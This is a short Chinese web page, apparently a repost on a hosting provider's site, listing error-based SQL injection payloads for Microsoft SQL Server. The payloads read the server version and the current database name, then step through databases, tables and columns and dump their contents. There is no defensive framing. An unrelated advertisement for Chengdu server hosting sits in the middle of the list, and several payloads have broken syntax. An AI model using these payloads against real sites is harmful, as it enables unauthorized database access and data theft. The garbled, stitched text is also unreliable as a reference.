显性注入代码

库版本进行查询   and 1=(select @@version)

成都创新互联专业IDC数据服务器托管提供商,专业提供成都服务器托管,服务器租用,成都电信服务器托管成都电信服务器托管,成都多线服务器托管等服务器托管服务。

查看当前库名    and 1=(select db_name() 

库名查询       and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> '第一个数据库库名',name <> '第二个数据库库名',。。。。。。name <> '第N个数据库库名’)

表名查询:       and 1=(select top 1 name from sysobjects where xtype='u’ and name <> '第一个数据库表名'name <> '第二个数据库表名',。。。。。。name <> '第N个数据库表名’) 

列名查询         and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and name <> '第一个列名’,and name <> '第二个列名'。。。。。。and name <> '第个列名'  )

内容查询:       and 1=(select top 1 列名 from 表名) 


名称栏目:显性注入代码
转载来于:http://pwwzsj.com/article/jgphhs.html